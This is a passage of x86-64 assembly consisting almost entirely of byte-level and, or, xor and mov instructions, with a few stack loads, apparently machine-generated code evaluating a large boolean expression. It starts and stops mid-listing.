or r11b, al
xor r11b, 1
or r11b, cl
mov eax, r9d
xor al, 1
mov ecx, eax
and cl, r9b
mov edx, eax
xor dl, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
or bl, cl
mov esi, ebx
xor sil, 1
and sil, al
mov r10d, ebx
and r10b, r9b
or r10b, sil
mov esi, ebx
and sil, al
xor bl, al
or bl, sil
mov esi, r10d
xor sil, bl
xor r10b, 1
or r10b, bl
xor sil, 1
xor r10b, 1
or r10b, sil
and cl, r9b
mov r14d, r11d
xor r14b, 1
and al, dl
or cl, al
xor dl, cl
and dl, cl
mov ecx, r11d
or cl, r14b
mov r9d, r11d
and r9b, cl
xor cl, 1
mov eax, ecx
xor al, r14b
and al, cl
and cl, r14b
or cl, r9b
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
mov r9d, r10d
xor r9b, 1
mov edi, r10d
or dil, r9b
xor dil, 1
or dil, r10b
mov esi, edi
xor sil, dl
mov eax, edi
xor al, 1
xor sil, 1
mov ebp, edx
xor bpl, al
or al, dl
xor al, 1
or al, sil
and bpl, dl
or dl, dil
xor dl, 1
mov esi, ebp
and sil, dl
xor dl, bpl
or dl, sil
mov esi, eax
xor sil, 1
mov ebx, edx
xor bl, 1
and dl, al
or al, bl
and bl, sil
or bl, dl
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov esi, ebx
and sil, dl
xor dl, bl
or dl, sil
or al, bl
xor dl, al
mov esi, ebx
and sil, al
xor al, bl
or al, sil
mov ebx, edx
xor bl, 1
xor dl, al
or al, bl
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, cl
mov ecx, r14d
xor cl, r10b
or r10b, r11b
or r11b, r9b
xor r11b, 1
or r11b, cl
mov esi, eax
xor sil, 1
xor r10b, 1
or r14b, r9b
xor r14b, 1
mov ecx, r10d
and cl, r14b
xor r14b, r10b
mov edx, r11d
xor dl, 1
or r14b, cl
xor r11b, r14b
mov ecx, edx
xor cl, r14b
xor r11b, 1
or r14b, dl
xor r14b, 1
or r14b, r11b
xor r14b, 1
mov edx, ecx
and dl, r14b
xor r14b, cl
or r14b, dl
mov r9d, r14d
xor r9b, 1
mov edx, r9d
and dl, r14b
mov ecx, edx
xor cl, 1
and r14b, cl
or cl, r9b
and dl, r9b
or dl, r14b
xor dl, 1
mov r9d, ecx
xor r9b, dl
or dl, cl
xor dl, 1
or dl, r9b
mov r9d, edx
xor r9b, 1
mov ecx, edx
and cl, r9b
xor cl, 1
mov r10d, r9d
xor r10b, cl
or cl, r9b
xor cl, 1
or cl, r10b
mov ebx, ecx
xor bl, 1
and dl, cl
and bl, r9b
or bl, dl
xor cl, bl
and cl, bl
mov edx, esi
and dl, al
mov ebx, esi
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
or sil, al
mov r9d, esi
xor r9b, 1
mov r10d, r9d
and r10b, sil
mov eax, r10d
xor r10b, r9b
mov r11d, ecx
xor r11b, 1
xor al, 1
or al, sil
xor al, 1
or al, r10b
mov r9d, r11d
xor r9b, cl
and r9b, r11b
mov edi, r11d
and dil, cl
mov r10d, edi
and r10b, r11b
xor dil, r11b
or dil, r10b
xor al, dl
mov r10d, edi
xor dil, 1
and dil, dl
xor dl, 1
mov r11d, edx
and r11b, sil
xor sil, dl
or sil, r11b
mov r11d, eax
xor r11b, 1
xor al, sil
or sil, r11b
xor al, 1
xor sil, 1
or sil, al
mov eax, r9d
xor al, 1
and al, r9b
mov r11d, eax
and r11b, r9b
xor al, r9b
or al, r11b
xor al, 1
mov ebx, esi
xor bl, al
or al, sil
xor bl, 1
and bl, sil
xor al, 1
mov r9d, eax
and r9b, bl
xor bl, al
or bl, r9b
and r10b, dl
or dil, r10b
mov eax, edx
and al, cl
xor dl, cl
or dl, al
xor dl, 1
mov eax, edi
and al, dl
xor dl, dil
or dl, al
mov ecx, edx
xor cl, 1
xor bl, 1
mov eax, edx
and al, cl
mov r9d, edx
xor r9b, al
xor al, 1
or al, cl
xor al, 1
or al, r9b
xor al, bl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov r9d, r8d
xor r9b, 1
mov ecx, r8d
or cl, r9b
mov edx, ecx
xor dl, 1
mov ebx, r9d
xor bl, cl
and bl, r9b
and dl, r8b
and cl, r9b
or cl, dl
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov esi, r9d
and sil, r8b
mov r10d, esi
xor r10b, 1
or r10b, r8b
mov r11d, eax
xor r11b, 1
mov r8d, ecx
xor r8b, 1
mov ebx, r11d
xor bl, cl
and r8b, al
and cl, r11b
or cl, r8b
and bl, r11b
mov r8d, ebx
xor r8b, 1
xor bl, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, bl
mov r8d, eax
or r8b, r11b
mov ebx, r8d
mov edx, r8d
xor r8b, al
mov edi, eax
and al, r11b
xor dil, al
xor al, 1
or al, r11b
xor al, 1
or al, dil
xor bl, 1
and dl, bl
xor dl, 1
mov edi, ebx
xor dil, dl
or dl, bl
xor dl, 1
or dl, dil
xor dl, al
or bl, r11b
xor r10b, 1
xor bl, 1
or bl, r8b
mov eax, edx
xor al, 1
xor dl, bl
or bl, al
mov eax, ecx
xor al, 1
xor dl, 1
xor bl, 1
or bl, dl
xor sil, r9b
or sil, r10b
mov edx, esi
xor dl, 1
and dl, bl
xor bl, 1
and sil, bl
or sil, dl
xor r9b, sil
xor sil, r9b
xor sil, 1
and sil, r9b
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, esi
xor al, 1
mov ecx, eax
and cl, sil
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
xor cl, dl
xor dl, 1
mov ebx, esi
or bl, al
mov r8d, ebx
xor r8b, 1
mov r9d, esi
or r9b, bl
and r8b, sil
and bl, al
or bl, r8b
mov eax, r9d
xor al, bl
xor bl, 1
xor al, 1
or bl, r9b
xor bl, 1
or bl, al
xor bl, dl
mov r10d, ebx
xor r10b, 1
mov r8d, ecx
xor r8b, 1
mov r9d, edx
and r9b, sil
xor dl, sil
or dl, r9b
xor cl, dl
xor cl, 1
or dl, r8b
xor dl, 1
or dl, cl
mov r8d, edx
xor r8b, 1
mov eax, r10d
and al, bl
mov ecx, r8d
and cl, dl
mov r9d, eax
and r9b, r10b
xor al, r10b
or al, r9b
mov r10d, ecx
xor r10b, 1
xor cl, r8b
or r10b, dl
xor r10b, 1
or r10b, cl
mov ecx, eax
xor cl, 1
and cl, r10b
xor r10b, 1
and r10b, al
or r10b, cl
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor r10b, 1
mov eax, r10d
xor al, dl
or r10b, dl
xor r10b, 1
or r10b, al
movzx ecx, byte [rsp + 0x34]
mov eax, ecx
movzx edx, byte [rsp + 0x5c]
and al, dl
xor dl, cl
mov ebp, ecx
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
movzx edx, byte [rsp + 0x4b]
xor dl, 1
movzx ebx, byte [rsp + 0x4a]
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov r8d, eax
xor r8b, 1
mov r9d, edx
xor r9b, 1
mov esi, r9d
and sil, dl
mov ecx, r9d
and cl, sil
xor sil, r9b
or sil, cl
mov r11d, r8d
or r11b, al
mov ebx, r11d
xor bl, 1
or r9b, dl
mov edi, r8d
and dil, al
mov ecx, ebx
and cl, r11b
mov edx, edi
xor dl, 1
xor dil, r8b
or dl, al
xor dl, 1
or dl, dil
mov edi, ecx
and dil, bl
xor cl, bl
or cl, dil
mov edi, edx
xor dil, 1
and dil, cl
xor cl, 1
and cl, dl
or cl, dil
mov edx, esi
xor dl, 1
xor r11b, al
or bl, r8b
xor bl, 1
or bl, r11b
xor bl, 1
mov r11d, ecx
and r11b, bl
xor bl, cl
mov ecx, esi
xor cl, dl
and cl, sil
or bl, r11b
xor cl, 1
mov r11d, ecx
or r11b, r9b
xor r11b, 1
xor cl, r9b
mov r9d, r11d
and r9b, cl
xor cl, r11b
or cl, r9b
mov r9d, ecx
xor r9b, 1
or r9b, bl
xor bl, 1
xor r9b, 1
or bl, cl
xor bl, 1
mov ecx, r9d
and cl, bl
xor bl, r9b
or bl, cl
and sil, al
or al, dl
xor al, 1
and dl, r8b
or dl, sil
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r8d, edx
xor r8b, 1
mov ecx, ebx
xor cl, 1
and bl, cl
mov eax, r8d
and al, dl
xor bl, 1
mov r9d, ebx
xor r9b, cl
or bl, cl
xor bl, 1
or bl, r9b
mov r9d, eax
and r9b, r8b
xor al, r8b
or al, r9b
mov r8d, ebx
xor r8b, 1
and r8b, al
xor al, 1
and al, bl
or al, r8b
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
or cl, al
xor cl, al
mov edx, ecx
xor dl, 1
and cl, al
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov r11d, ecx
xor r11b, 1
mov edx, ecx
and dl, r11b
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, 1
or r11b, cl
xor r11b, 1
mov ecx, edx
and cl, r11b
xor r11b, dl
or r11b, cl
mov r8d, r11d
xor r8b, 1
movzx eax, byte [rsp + 0x33]
xor al, byte [rsp + 0x4e]
movzx edx, byte [rsp + 0x4f]
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r9d, eax
mov r15d, eax
xor r9b, 1
movzx ebx, byte [rsp + 0x4d]
or bl, bpl
movzx eax, byte [rsp + 0x4c]
movzx ecx, byte [rsp + 0x3f]
or al, cl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor cl, al
xor cl, 1
or al, bpl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ecx, r9d
or cl, r15b
mov esi, ecx
xor sil, 1
mov edi, edx
xor dil, 1
mov r14d, edx
xor r14b, dil
and r14b, dl
mov eax, esi
and al, cl
mov ebp, eax
and bpl, sil
xor al, sil
or al, bpl
mov esi, eax
and sil, r9b
xor al, 1
and al, r15b
or al, sil
mov esi, r9d
and sil, cl
xor cl, r9b
or cl, sil
xor cl, 1
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
mov eax, r14d
xor al, 1
and r14b, al
xor r14b, 1
mov r9d, r14d
xor r9b, al
or r14b, al
xor r14b, 1
or r14b, r9b
xor r14b, cl
xor dil, r15b
and dil, r15b
xor dl, r15b
xor dil, 1
xor dl, 1
mov eax, edi
xor al, dl
or dl, dil
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, r14d
mov ecx, eax
and cl, dl
mov r9d, ecx
and r9b, al
xor cl, al
or al, r14b
xor r14b, 1
and bl, r14b
xor bl, 1
mov esi, ebx
xor sil, r14b
or bl, r14b
xor bl, 1
or bl, sil
or cl, r9b
mov r9d, ebx
xor r9b, 1
and r9b, cl
xor cl, 1
and cl, bl
or cl, r9b
xor dl, r14b
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
and bl, r8b
xor dl, 1
and dl, r11b
or dl, bl
xor dl, 1
mov ebx, edx
xor bl, r8b
xor dl, bl
and dl, bl
mov r9d, eax
xor r9b, r8b
and al, r8b
or r9b, al
and cl, r11b
or cl, al
xor r11b, cl
and r11b, cl
mov eax, r11d
xor al, 1
mov ebx, r11d
and bl, al
mov ecx, ebx
xor cl, 1
xor bl, r11b
or cl, al
xor cl, 1
or cl, bl
mov r8d, ecx
and r8b, r9b
mov ebx, r9d
and bl, al
xor al, r9b
xor r9b, 1
xor cl, 1
and cl, r9b
or cl, r8b
or al, bl
mov ebx, ecx
xor bl, al
xor cl, 1
xor bl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov r11d, edx
xor r11b, 1
mov ebx, eax
and bl, r11b
or al, dl
and dl, cl
or dl, bl
mov ebx, edx
xor bl, r11b
and bl, dl
or r11b, cl
mov ecx, eax
xor cl, r11b
or r11b, al
xor r11b, 1
or r11b, cl
xor bl, 1
xor r11b, 1
mov eax, ebx
or al, r11b
xor al, 1
xor r11b, bl
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov r8d, r11d
xor r8b, 1
mov r9d, r11d
or r9b, r8b
mov ecx, r8d
xor cl, r9b
mov eax, ecx
and al, r8b
mov edx, ecx
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov ebp, eax
xor bpl, 1
and bpl, al
xor bpl, 1
mov ebx, eax
xor bl, bpl
or bpl, al
xor bpl, 1
or bpl, bl
mov esi, ebp
xor sil, 1
and cl, r9b
mov r15d, ecx
xor r15b, 1
mov edi, esi
or dil, bpl
mov edx, edi
xor dl, 1
mov r14d, r15d
or r14b, cl
mov ebx, r14d
xor bl, 1
mov eax, esi
and al, bpl
mov r12d, esi
xor r12b, al
xor al, 1
or al, bpl
xor al, 1
or al, r12b
mov r12d, eax
and r12b, dl
xor al, 1
and al, dil
or al, r12b
xor dil, sil
or dl, bpl
xor dl, 1
or dl, dil
xor dl, 1
mov edi, eax
and dil, dl
xor dl, al
or dl, dil
mov eax, ebx
xor al, r15b
and al, bl
and r14b, cl
and bl, r15b
or bl, r14b
mov edi, eax
and dil, bl
xor bl, al
or bl, dil
mov eax, ebx
xor al, 1
and bl, al
xor bl, 1
mov edi, ebx
xor dil, al
or bl, al
xor bl, 1
or bl, dil
xor bl, dl
and r15b, cl
mov eax, ecx
and al, r15b
xor r15b, cl
or r15b, al
and sil, r15b
xor r15b, 1
and r15b, bpl
or r15b, sil
mov eax, ebp
and al, cl
xor cl, bpl
or cl, al
xor cl, 1
mov eax, r15d
and al, cl
xor cl, r15b
or cl, al
mov eax, ecx
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
xor bl, 1
xor al, 1
and al, bl
or cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
or cl, al
mov edx, eax
xor dl, cl
xor cl, 1
mov ebx, eax
xor bl, cl
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov esi, r9d
xor sil, 1
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
or bl, cl
mov eax, edx
or al, bl
xor al, 1
xor bl, dl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
or bl, dl
mov eax, ebx
xor al, 1
mov edi, edx
and dil, cl
xor cl, dl
or cl, dil
mov ebp, ecx
xor bpl, 1
and al, bl
and cl, bpl
xor al, 1
mov edi, eax
xor dil, bl
or al, bl
xor al, 1
or al, dil
xor cl, 1
mov edi, ecx
xor dil, bpl
or cl, bpl
xor cl, 1
or cl, dil
xor cl, al
mov eax, ebx
and al, bpl
xor bpl, bl
or bpl, al
xor bpl, 1
mov eax, ecx
and al, bpl
xor bpl, cl
or bpl, al
and r11b, r8b
mov eax, r8d
and al, r11b
xor r11b, r8b
or r11b, al
mov eax, r11d
xor al, 1
and al, sil
and r9b, r11b
or r9b, al
mov eax, r11d
xor al, sil
or r11b, sil
xor r11b, 1
or r11b, al
xor r11b, 1
mov eax, r9d
and al, r11b
xor r11b, r9b
or r11b, al
mov r8d, r11d
xor r8b, 1
mov eax, r8d
and al, r11b
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, r11d
xor bl, cl
and bl, r11b
and al, r8b
and cl, r11b
or cl, al
mov eax, ebx
xor al, 1
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov r8d, ebx
xor r8b, al
xor al, 1
or al, cl
xor al, 1
or al, r8b
mov r8d, eax
xor r8b, 1
or bl, cl
mov r9d, ebx
xor r9b, 1
mov ecx, eax
and cl, r8b
mov r11d, ecx
and r11b, al
xor cl, al
or cl, r11b
mov eax, ecx
xor al, 1
and al, r9b
and cl, bl
or cl, al
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
mov r8d, ecx
and r8b, al
xor cl, al
or cl, r8b
xor cl, 1
or al, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov ebx, eax
xor bl, cl
and al, cl
or al, bl
xor al, bpl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov r8d, ecx
and r8b, bpl
xor bpl, 1
and bl, bpl
or bl, r8b
mov r8d, ebp
xor r8b, cl
or cl, bpl
xor cl, 1
or cl, r8b
xor cl, 1
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, ecx
xor bl, 1
mov r8d, edx
xor r8b, bpl
or dl, bpl
xor dl, 1
or dl, r8b
or bpl, al
mov eax, edx
xor al, bpl
xor al, 1
or bpl, dl
mov edx, ebp
xor dl, al
or bpl, al
xor bpl, 1
or bpl, dl
mov r11d, ebp
xor r11b, 1
mov edx, ecx
or dl, bl
xor bl, dl
mov eax, ebp
or al, r11b
mov r8d, ebp
and r8b, al
xor al, 1
or dl, cl
xor dl, 1
xor bl, 1
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
mov edx, eax
xor dl, r11b
and dl, al
and al, r11b
or al, r8b
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
or dl, bl
xor bl, 1
or bl, al
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
xor bpl, cl
and bpl, cl
xor r11b, cl
mov eax, ebp
and al, r11b
xor r11b, bpl
or r11b, al
mov eax, r11d
xor al, 1
mov ecx, ebx
xor cl, 1
and al, cl
or cl, r11b
xor cl, 1
and r11b, bl
or r11b, al
mov eax, ecx
and al, r11b
xor r11b, cl
or r11b, al
mov r9d, r11d
xor r9b, 1
mov edi, r9d
and dil, r11b
mov r8d, r9d
mov esi, r11d
xor sil, r9b
xor sil, 1
or sil, r9b
mov ebp, edi
xor bpl, 1
or bpl, r9b
and r9b, dil
xor r8b, dil
or r9b, r8b
mov eax, r9d
xor al, 1
or al, r9b
mov r9d, eax
xor r9b, 1
mov ecx, esi
xor cl, 1
mov ebx, r9d
or bl, al
xor al, bl
mov edx, esi
xor dl, cl
and dl, sil
or bl, r9b
xor bl, 1
xor al, 1
mov r14d, ebx
and r14b, al
xor al, bl
or al, r14b
mov ebx, edx
xor bl, 1
and bl, dl
mov r14d, ebx
and r14b, dl
xor bl, dl
or bl, r14b
mov edx, ebx
xor dl, 1
or dl, al
xor al, 1
or al, bl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, ecx
and dl, sil
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, sil
xor dl, 1
or dl, bl
xor dl, r9b
mov esi, edx
xor sil, 1
mov ebx, r9d
and bl, cl
xor cl, r9b
or cl, bl
xor dl, cl
xor dl, 1
or cl, sil
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov r9d, edx
xor r9b, cl
or dl, cl
xor dl, 1
or dl, r9b
xor dl, al
or bl, al
xor al, cl
xor dl, 1
xor al, 1
xor bl, 1
or bl, al
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov eax, edi
xor al, r11b
xor bpl, 1
or bpl, al
xor bpl, dil
xor r8b, 1
or dil, r11b
xor dil, 1
or dil, r8b
xor dil, 1
mov eax, ebp
and al, dil
xor dil, bpl
or dil, al
mov eax, edi
xor al, 1
mov r9d, ebx
xor r9b, 1
mov edx, r9d
or dl, bl
mov r8d, edx
xor r8b, 1
mov ecx, edi
and cl, al
mov r11d, edi
xor r11b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r11b
or al, dil
xor al, cl
mov r11d, r9d
xor r11b, dl
and r11b, r9b
and r8b, bl
and dl, r9b
or dl, r8b
mov r8d, r11d
and r8b, dl
xor dl, r11b
or dl, r8b
and cl, al
mov r8d, ecx
xor r8b, al
xor cl, 1
xor r8b, 1
or cl, al
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, 1
and al, cl
mov r8d, eax
and r8b, cl
xor al, cl
or al, r8b
xor al, dl
mov r14d, eax
xor r14b, bl
or bl, al
xor bl, 1
xor r14b, 1
and r14b, al
mov ecx, ebx
and cl, r14b
xor r14b, bl
or r14b, cl
xor al, r14b
xor al, 1
xor r14b, al
xor r14b, 1
and r14b, al
mov r11d, r14d
xor r11b, 1
mov edi, r11d
or dil, r14b
mov r9d, edi
xor r9b, 1
mov r8d, r9d
and r8b, r14b
mov eax, r11d
mov esi, r10d
xor sil, 1
mov r13d, esi
and r13b, r10b
mov edx, esi
and dl, r13b
mov ebp, esi
xor bpl, r13b
xor r13b, 1
or r13b, r10b
mov ecx, r10d
or cl, sil
mov r15d, esi
and r15b, cl
xor cl, 1
and r10b, cl
or r10b, r15b
mov r15d, esi
xor r15b, cl
or cl, sil
xor cl, 1
or cl, r15b
mov r15d, r10d
xor r15b, cl
xor r10b, 1
xor r15b, 1
or r10b, cl
xor r10b, 1
or r10b, r15b
mov ecx, r10d
xor cl, 1
and cl, r10b
xor cl, 1
mov r15d, r10d
xor r15b, cl
or cl, r10b
xor cl, 1
or cl, r15b
mov r15d, ecx
xor r15b, 1
and cl, r11b
and r15b, r14b
or r15b, cl
mov r10d, r15d
mov r12d, r11d
and r15b, r14b
mov ecx, r11d
and cl, r14b
xor r11b, cl
xor cl, 1
or cl, r14b
or r14b, dil
and al, dil
or al, r8b
xor al, 1
mov r8d, r14d
xor r8b, al
or al, r14b
xor al, 1
or al, r8b
mov ebx, eax
xor bl, 1
and al, bl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
xor al, sil
xor al, 1
or dl, bpl
xor dl, 1
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
xor dl, 1
or al, sil
xor al, dl
and dl, al
mov ebx, edx
xor bl, al
xor dl, 1
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
xor r13b, 1
or r13b, bpl
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov r8d, r13d
xor r8b, 1
and r13b, r8b
mov ebp, ebx
xor bpl, al
xor al, 1
or al, dl
xor al, 1
or al, bpl
mov ebp, r8d
and bpl, r13b
xor r13b, r8b
or r13b, bpl
xor r13b, al
mov r8d, r13d
xor r8b, 1
and bl, r8b
and r13b, dl
or r13b, bl
xor r8b, r13b
and r8b, r13b
xor r10b, 1
and r12b, r10b
or r15b, r12b
xor r10b, r15b
and r10b, r15b
xor cl, 1
or cl, r11b
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
and dil, r9b
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
xor dil, 1
mov eax, r9d
xor al, dil
or dil, r9b
xor dil, 1
or dil, al
xor dil, dl
xor dil, 1
mov eax, ecx
xor al, r9b
or cl, r9b
xor cl, 1
or cl, al
mov eax, edi
xor al, cl
or cl, dil
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
and bl, cl
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, esi
xor al, bl
or bl, sil
xor bl, 1
or bl, al
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r11d, ebx
xor r11b, 1
mov edx, r10d
xor dl, 1
mov r14d, edx
and r14b, r10b
mov ecx, edx
and cl, r14b
xor r14b, dl
or r14b, cl
mov r9d, r14d
xor r9b, r11b
or dl, r10b
xor dl, r14b
mov r12d, r11d
and r12b, bl
mov r10d, r11d
and r10b, r12b
mov esi, r11d
xor sil, r12b
mov edi, r11d
xor r12b, 1
mov ebp, r12d
xor bpl, r11b
or r12b, r11b
or r11b, bl
mov eax, edx
and al, r14b
xor al, 1
mov r15d, eax
xor r15b, dl
or al, dl
mov edx, r11d
xor dl, 1
xor al, 1
or al, r15b
mov ecx, r11d
and cl, dl
or sil, r10b
xor dil, r11b
xor r11b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r11b
xor cl, sil
or dl, bl
xor dl, 1
or dl, dil
xor dl, 1
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
xor al, 1
mov ecx, edx
xor cl, al
xor cl, 1
and cl, dl
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor r12b, 1
or r12b, bpl
xor r12b, r14b
xor r9b, 1
or r14b, bl
xor r14b, 1
or r14b, r9b
xor r14b, 1
mov eax, r12d
and al, r14b
xor r14b, r12b
or r14b, al
xor r14b, 1
mov eax, ecx
xor al, r14b
or r14b, cl
xor r14b, 1
or r14b, al
xor r14b, 1
mov ecx, eax
and cl, r14b
xor r14b, al
or r14b, cl
mov ebp, r8d
xor bpl, 1
mov r9d, r8d
and r9b, bpl
mov eax, ebp
and al, r9b
mov ecx, ebp
xor cl, r9b
or cl, al
mov eax, r8d
or al, bpl
mov edi, eax
xor dil, 1
mov edx, eax
and dl, dil
xor al, dl
xor dl, 1
or dl, dil
xor dl, 1
or dl, al
xor dl, cl
mov eax, ecx
xor al, dil
or dil, cl
xor dil, 1
or dil, al
mov eax, edx
xor al, dil
or dil, dl
xor dil, 1
or dil, al
mov eax, r14d
xor al, 1
and r14b, al
mov ecx, eax
and cl, r14b
xor r14b, al
or r14b, cl
mov esi, r14d
xor sil, 1
mov r11d, edi
xor r11b, 1
mov r10d, r11d
mov r15d, r11d
xor r15b, r14b
xor r15b, 1
or r15b, r11b
and r11b, dil
xor r10b, r11b
xor r11b, 1
or r11b, dil
xor r11b, 1
or r11b, r10b
mov eax, r11d
xor al, 1
and r11b, al
xor r11b, 1
mov ecx, r11d
xor cl, al
or r11b, al
xor r11b, 1
or r11b, cl
mov eax, r11d
xor al, 1
and r11b, al
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
xor bpl, r8b
or bpl, r9b
mov r12d, ebp
xor r12b, 1
mov r8d, ebp
mov edx, r11d
and dl, r12b
or bpl, r11b
xor r12b, r11b
and r12b, r11b
xor r11b, 1
mov eax, r14d
xor al, sil
mov r9d, eax
xor r9b, 1
or r9b, sil
mov r10d, r9d
xor r10b, 1
or sil, r14b
xor sil, 1
or sil, al
mov ecx, esi
xor cl, 1
and r8b, r11b
or dl, r8b
xor r11b, dl
and r11b, dl
xor bpl, 1
mov edx, ebp
and dl, r12b
xor r12b, bpl
or r12b, dl
mov edx, r12d
xor dl, 1
mov eax, r11d
xor al, dl
and dl, r12b
mov r8d, edx
and r8b, r12b
xor dl, r12b
or dl, r8b
xor dl, r11b
xor al, 1
or r12b, r11b
xor r12b, 1
or r12b, al
xor r12b, 1
mov eax, edx
and al, r12b
xor r12b, dl
or r12b, al
and cl, sil
mov edx, esi
and dl, cl
xor cl, sil
or cl, dl
mov r8d, ecx
xor r8b, 1
mov eax, ecx
or al, r8b
mov ebp, r10d
or bpl, r9b
xor bpl, 1
mov r11d, r10d
and r11b, bpl
xor bpl, r10b
or bpl, r11b
mov r11d, eax
or r11b, sil
xor al, sil
xor al, 1
mov esi, r11d
xor sil, al
or al, r11b
xor al, 1
or al, sil
mov r11d, eax
xor r11b, 1
mov esi, eax
and sil, r11b
mov edx, esi
xor sil, al
xor dl, 1
or dl, r11b
xor dl, 1
or dl, sil
xor dl, bpl
mov r11d, edx
xor r11b, 1
or r8b, r10b
xor r8b, 1
xor cl, r9b
mov r9d, r8d
and r9b, cl
xor cl, r8b
or cl, r9b
mov eax, ecx
xor al, 1
mov r8d, r11d
and r8b, dl
mov r9d, r11d
and r9b, r8b
xor r8b, r11b
or r8b, r9b
mov ebx, ecx
and bl, al
xor r11b, cl
xor cl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, cl
mov ecx, r8d
xor cl, 1
and cl, bl
xor bl, 1
and bl, r8b
or bl, cl
or al, dl
xor al, 1
or al, r11b
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, eax
or cl, bl
mov edx, ecx
xor dl, 1
and bl, cl
or cl, al
and dl, al
or dl, bl
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
and r8b, r12b
